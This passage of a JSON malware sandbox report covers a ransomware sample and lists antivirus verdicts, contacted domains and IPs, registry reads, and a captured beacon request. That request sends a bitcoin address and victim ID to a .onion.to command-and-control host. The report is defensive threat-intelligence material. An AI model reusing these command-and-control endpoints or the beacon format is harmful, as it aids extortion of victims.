SMD","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Filecoder.Win32.1868","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Gen:Ransom.REntS.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"General","name":"Contacts domains","description":"\"24fkxhnr3cdtvwmy.onion.to\"\n \"aia.startssl.com\"\n \"www.google-analytics.com\"\n \"bitcoin.org\"\n \"api.hostip.info\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"},{"report_type":"sandbox","report_id":"56adf5b40e316d801fca817e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"208.64.123.130:443\"\n \"217.197.83.197:80\"\n \"217.197.83.197:443\"\n \"23.3.97.98:80\"\n \"74.125.225.2:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"},{"report_type":"sandbox","report_id":"56adf5b40e316d801fca817e"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"g:\\t11\\t11\\obj\\Release\\t11.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"},{"report_type":"sandbox","report_id":"56adf5b40e316d801fca817e"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"\" created file \"%TEMP%\\Cab23F4.tmp\"\n \"\" created file \"%TEMP%\\Tar2405.tmp\"\n \"\" created file \"%TEMP%\\Cab2677.tmp\"\n \"\" created file \"%TEMP%\\Tar2687.tmp\"\n \"\" created file \"%TEMP%\\Cab4645.tmp\"\n \"\" created file \"%TEMP%\\Tar4646.tmp\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$22","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"},{"report_type":"sandbox","report_id":"56adf5b40e316d801fca817e"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /wrap1.php?btc=1AoNMLZfhw7cbMCKAhaKHiveMdwFyVUGeA&wid=e47c61d2-1dae-480e-827a-ae8d797649df:null:TWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFByZW1pdW0gU2VydmljZSBQYWNrIDE= HTTP/1.1\nHost: 24fkxhnr3cdtvwmy.onion.to\nConnection: Keep-Alive\"\n \"GET /certs/ca.crt HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: aia.startssl.com\"\n \"GET /wrap1.php?btc=1AoNMLZfhw7cbMCKAhaKHiveMdwFyVUGeA&wid=e47c61d2-1dae-480e-827a-ae8d797649df:null:TWljcm9zb2Z0IFdpbmRvd3MgNyBIb21lIFByZW1pdW0gU2VydmljZSBQYWNrIDE= HTTP/1.1\nHost: 24fkxhnr3cdtvwmy.onion.to\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll\" at 69EB0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"},{"report_type":"sandbox","report_id":"56adf5b40e316d801fca817e"}]},{"level":"informative","category":"General","name":"Reads System Certificates Settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\8AD5C9987E6F190BD6F5416E2DE44CCD641D8CDA\", Key: \"BLOB\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\109F1CAED645BB78B3EA2B94C0697C740733031C\", Key: \"BLOB\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\D559A586669B08F46A30A133F8A9ED3D038E2EA8\", Key: \"BLOB\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\", Key: \"BLOB\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\A377D1B1C0538833035211F4083D00FECC414DAB\", Key: \"BLOB\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6\", Key: \"BLOB\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\7D7F4414CCEF168ADF6BF40753B5BECD78375931\", Key: \"BLOB\")","origin":"Registry Access","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\", Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$23","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"56adf5b40e316d801fca8180"},{"report_type":"sandbox","report_id":"56adf5b40e316d801fca817e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://24fkxhnr3cdtvwmy.onion.to/help.php\"\n Heuristic match: \"ww.bitboat.net\"\n Heuristic match: \"inbase.com\"\n Pattern match: \"xhnr3cdtvwmy.onion.to/help.php\"\n Pattern match: \"http://aia.startssl.com/certs/ca.crt\"\n Pattern match: \"http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab\"\n Pattern match: \"https://bitcoin.org/img/icons/opengraph.png\"\n Heuristic match: \"_options = {\n theme: 'light-floating'\n }\n\n\n